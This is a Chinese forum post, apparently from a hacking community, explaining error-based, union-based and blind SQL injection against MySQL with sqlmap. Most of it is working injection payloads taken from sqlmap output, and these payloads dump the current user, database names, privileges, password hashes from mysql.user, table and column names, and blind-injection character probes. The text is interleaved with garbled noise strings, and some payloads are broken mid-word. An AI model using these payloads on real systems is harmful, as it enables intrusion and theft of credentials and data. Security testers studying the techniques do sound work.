sqlmap高级注入

admin

放假第一天，本应该好好放松一下，可是还是想着把文章写完先。。。
2 ?2 A4 Y6 u; o' I6 q) ^6 a
8 P; ^9 A; s9 z5 {: m+ f这次的主题是高级注入，坛子里也讲到了一些，不过本文旨在给大家一个更深刻的概念和全面的理解，下面看看我自己列的一个表

& {1 Y' e8 }/ M; R6 ?0 `1 l分类标准        分类        备注
按字段类型        整型注入，字符型注入       
按出现的位置        get注入，post注入，cookie注入，http header注入       
然而高级注入是这样的
5 j5 [7 b1 ^9 _: f, c5 w  V
* ]8 t6 N# v. S  L) m. F7 Q+ H高级注入分类        条件
* k' P  F2 P5 |+ `! v/ Ferror-based sql        数据库的错误回显可以返回，存在数据库，表结构
. k  Z- x. b. A9 t1 dunion-based sql        能够使用union，存在数据库，表结构
* O3 |  o7 _- ~8 {- iblind sql        存在注入
我们暂且不考虑waf等的影响，只从原理上学习。通过上面我们不难发现，三种高级注入选择的顺序应该是eub（第一个字母，后面为了方便我都这样表示了 ），实际上，e是不需要知道字段数的，u需要知道字段数，e之所以在前我觉得主要是因为这个，因为在其他方面它们没有本质的区别，它们都需要知道数据库以及表的结构，这样才能构造出相应的语句，当然，能e一般能u（没过滤union等），反过来却很不一定，因为一般会有自定义的错误提醒。如果没有结构，那么就回到了最悲剧，最麻烦的b了，猜。。。当然可能没有结果，但是如果只是不能使用u，有结构，b还是能出结果的，只是苦逼点而已。。。

* A, c8 i, @8 e3 K' j) C9 C好了，说了这么多，该上神器sqlmap了，最近坛子里貌似很火
5 W* U- |: Z+ E. r6 w" p9 e7 u8 I6 L
0 K6 b3 S# q1 G! i8 [: z1 W附件分别以mysql和mssql为例子，提醒：sqlmap中使用-v 3可以查看每个请求的payload。

. g! {/ H8 b* @* L这里用mysql说明

$ @( i0 h2 V4 @8 Q. u, J: N) Ve注入坛子里很多了，请看戳我或者再戳我
: q0 g( x: y1 T( e3 V
u注入其实也很多了，这里就大概帖上一些重要语句吧，附件上结合例子都有的

, `8 |& r+ x# w- U: F获取当前数据库用户名

UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
% t! B3 l  A0 l7 a" R1 VAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
! l* q2 w; d" l8 i% d' `4 FL, NULL#
注意concat那里不是必须的，只是sqlmap为了自动攫取出数据加上的特征，下面语句类似，涉及基础性的知识，基友们自己去补吧。
: T& H5 |8 R4 k$ g; h0 F
  A  _, e9 [* |4 J& o$ ^7 p获取数据库名
5 \7 R& J+ R9 w" M3 T
2 b& n, ~, V2 Z( |3 l: CUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
: k. m( O6 r- w% P' P获取所有用户名

6 G7 E, ^6 g: Q! n+ jUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
查看当前用户权限

UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
尝试获取密码，当然需要有能读mysql数据库的权限

UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
# B8 i) \5 X9 ~5 y9 C# D获取表名，limit什么的自己搞啦
" [* E+ g( e; |1 r3 g
/ s, m3 J/ `+ I* Y9 VUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
' q: ^4 d0 j' ^% z获取字段名及其类型
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
( E2 O- R" v- Q( S! {  r6 I
b注入，呵呵，除了当前用户，数据库，版本可以出来，而如果不能u，但存在数据的结构表，还是能苦逼出来，否则猜也不一定能猜到表和字段，内容自然也出不来，苦逼access啊。。。

+ ?5 a- U9 K5 I% Z# h" G如：
; }( }4 C  z5 m* r获取当前用户名
% A4 A7 G) k2 y' [' U/ W3 i! H
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
获取当前数据库
2 T7 t4 Z; ]! ?  J
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
% e! _8 _; m. h* S" q获取表名
# [% R: Z5 `% l+ p/ x
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
9 d  x4 o+ E6 \: u获取字段名及其类型和爆内容就不说了，改改上面的就可以了。
1 G) M  @4 t: K* G1 M- P回到最苦逼的情况，无结构的，mysql版本<5.0，现在不多见了吧，还是看看语句。
5 U; r( K& D1 E% V4 J, ?- @爆表
( Y2 y3 y$ y# ^# `$ g4 G; C
0 X( K- E( E* ~9 B  QAND EXISTS(select * from table)
爆字段

% j, G, f  @1 n5 [# I5 N$ |& I1 UAND EXISTS(select pwd from table)
盲注的变化就比较多了，由于篇幅，只是举个例子而已。

本来想把mssql和access都写上的，不过编辑得太累了，有时间再写吧，其实原理都差不多，今天就洗洗睡了吧。
2 W$ s) V* L8 Q, {9 P) P